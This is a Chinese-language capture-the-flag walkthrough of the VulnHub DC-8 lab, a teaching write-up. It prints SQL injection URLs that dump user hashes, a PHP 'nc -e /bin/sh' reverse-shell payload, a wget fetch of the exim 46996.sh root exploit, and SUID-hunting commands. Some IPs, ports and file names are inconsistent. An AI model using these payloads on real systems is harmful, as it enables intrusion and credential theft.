文章目录
环境准备
靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.139
靶机:DC-8 IP地址未知
靶机下载地址:https://download.vulnhub.com/dc/DC-8.zip
1.信息收集
1.1 主机发现
arp-scan -l 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
扫描发现目标靶机的IP地址为:192.168.33.141
我们还可以使用nmap来进行主机发现
nmap -sP 192.168.33.0/24
同样扫描到目标靶机IP地址为:192.168.33.141
1.2 端口扫描
扫描到了目标靶机的IP地址,接下来我们就使用nmap来扫描目标靶机开放的端口,服务和版本信息
nmap -T4 -sV -A -O -p- 192.168.33.141
扫描到,目标靶机开放了22端口(ssh服务),80端口(http服务)
1.3 访问80端口(http服务)
既然目标开放了80端口(http服务),访问看看有无可用信息
同时,火狐插件Wappalyzer探测到目标网页信息
点击了一下页面内的链接,疑似存在注入点
http://192.168.33.141/?nid=1
构造语句,使用 ’ 来验证是否存在SQL注入
http://192.168.33.141/?nid='
报错!证明存在SQL注入漏洞
2.漏洞利用
2.1 使用sqlmap爆破数据
既然存在SQL注入漏洞,我们就可以构造SQL语句查询我们想要的数据,我这里使用的是火狐插件hackbar,手动构造语句去进行爆破,也可使用sqlmap实现自动化爆破
1.判断注入类型,构造语句
http://192.168.33.141/?nid=1' --+
出现Error,判断此处注入类型为数字型
2.判断列数,构建语句
http://192.168.33.141/?nid=1 order by 1 --+
成功显示,再次构建语句:
http://192.168.33.141/?nid=1 order by 2 --+
报错,说明此时列数为 1
3.爆破数据库名,构建语句
http://192.168.33.141/?nid=-1 union select database() --+
成功爆破出目标数据库名为:d7db
4.爆破d7db数据库中的所有表名,构建语句
http://192.168.33.141/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
成功爆破出d7db库中的所有表名,并发现其中有一个users表
5.爆破users数据表中的所有字段名
http://192.168.33.141/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
成功爆破出users表中的所有字段名,并发现其中有两个 name,pass字段
6.爆破name,pass字段中的所有数据
http://192.168.33.141/?nid=-1 union select group_concat(name,':',pass) from users --+
成功爆破出name,pass字段中的所有数据,发现了两个用户和密码
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
2.2 使用john破解密码
将刚才获取到的用户名和密码密文保存到一个文件中
用户名有一个john,可能是要john工具爆破密码,这里直接使用john爆破,使用john的默认字典
john john.txt
#这里的john.txt是我上面创建的文件名
爆出john的密码为:turtle
目标是开启了22端口(ssh服务)了的,尝试进行登录
ssh john@192.168.33.141
失败了,看来并不是ssh用户和密码
2.3 爆破目录
那我们就扫描一下目标站点,获取后台登陆界面进行登录
dirb http://192.168.33.141
扫描到目标站点存在反扒文件,访问看看
在反扒文件不允许中发现了疑似登录界面 /user/login/,继续访问看看
成功的发现了用户登录界面
使用刚刚获取到的用户和密码,登录进去
成功登录!
2.4 写入一句话木马,反弹shell
找写利用点
先点击content,再单击WEBFROMS, 再点击Components,最后点击Form settings
修改此页面并写入php反弹shell代码,再更改为PHP code
<?php
system("nc -e /bin/sh 192.168.33.141 9966"); #这里填写的IP地址为kali的IP地址
?>
最后保存
开启监听端口,获取shell
nc -lvp 9966
在Contact Us页面随便输入信息,然后点击Submit
成功反弹到shell
3.提权
虽然反弹到了shell,但是权限极低
我们可以使用python切换至交互式shell,这样更有利于操作也更美观
python -c 'import pty;pty.spawn("/bin/bash")'
使用find命令查找具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
去到根目录下,查看exim4当前版本号
exim4 –-version
使用search查找exim的漏洞攻击脚本
找到46996.sh脚本文件,将46996.sh拷贝到本地并改名为shell.sh
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 1.sh
#文件拷贝的位置为kali的当前路径
在kali开启http服务
python2内置了一个简单的HTTP服务器,只需要在命令行下面敲一行命令,一个HTTP服务器就搭建起来了
python -m SimpleHTTPServer 9966
# 9966为端口,可以指定为其他未被使用的端口
python3 python2中的SimpleHTTPServer模块已合并到Python 3中,当将源转换为Python 3的http.server
python -m http.server 9966
# http.server python模块- HTTP服务器
9966为端口,可以指定为其他未被使用的端口
在靶机上将getShell.sh脚本文件下载到靶机本地,并给脚本赋予执行权限
wget http://192.168.33.139:9988/1.sh
部分目录无法进行下载,猜测是权限不够,转换到/tmp目录下执行命令即可成功
chmod 777 1.sh
根据脚本提示,执行脚本文件并添加命令参数,执行后获取到root权限
./1.sh -m netcat
但是却报错了
百度了一下才知道,必须先得使使windows的代码可以在unix上运行才行
再次回到kali,对漏洞利用文件进行修改
输入 : set ff=unix
保存退出,再次下载文件到靶机中,重新赋予权限,再次使用命令执行
./1.sh -m netcat
即可成功获得目标靶机root权限
查看flag.txt文件,成功拿取到flag
拿到了root权限,那目标靶机就已经完全被你攻破了
4.总结
1.为什么必须要使用set ff=unix才可执行漏洞利用文件?
2.手动进行SQL爆破开始不太熟练,语句不是很清楚
最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!